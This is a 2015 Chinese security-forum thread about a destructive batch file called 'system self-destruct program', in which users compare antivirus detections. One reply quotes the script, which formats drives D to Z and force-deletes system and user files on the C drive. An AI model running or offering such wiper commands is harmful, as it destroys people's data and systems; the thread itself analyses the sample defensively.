系统自毁程序.bat

瓦卡卡

有意思 下来研究看看

DPT1

dej.sf

瑞星竟然杀了？

瞠凰韬晦

ESS HIPS交互模式，点到最后一步竟然报了。

skyboybone

DPT1 发表于 2015-6-7 23:46

只有改密码，没别的了？
这个东西看来是不会入库的，只能靠防御了。

pal家族

skyboybone 发表于 2015-6-8 12:08
只有改密码，没别的了？
这个东西看来是不会入库的，只能靠防御了。

你可以用记事本打开看下
一大堆format命令。。。。。。

skyboybone

pal家族 发表于 2015-6-8 12:13
你可以用记事本打开看下
一大堆format命令。。。。。。

能格盘？没看到楼上有拦截啊。

pal家族

skyboybone 发表于 2015-6-8 12:34
能格盘？没看到楼上有拦截啊。

。。。。你看下命令嘛。。很好懂得

for %%a in (d e f g h i j k l m n o p q r s t u v w x y z) do format %%a: /q /u /x /y
echo 磁盘清除完毕

格盘，不过，不是C盘。。

del /f /s /q %systemdrive%\*.sys系统错误
del /f /s /q %systemdrive%\*.exe系统错误
del /f /s /q %systemdrive%\*.txt系统错误
del /f /s /q %systemdrive%\*.bat系统错误
del /f /s /q %systemdrive%\*.chk系统错误
del /f /s /q %systemdrive%\*.old系统错误
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
echo C盘清除完毕..
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
echo 清除其余顽固软件中，请稍等...
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"

3
删除文件

zl181503

上报火绒

fish

建议楼主打包再上传。打开网盘直接是个bat，要是有人点保存点了运行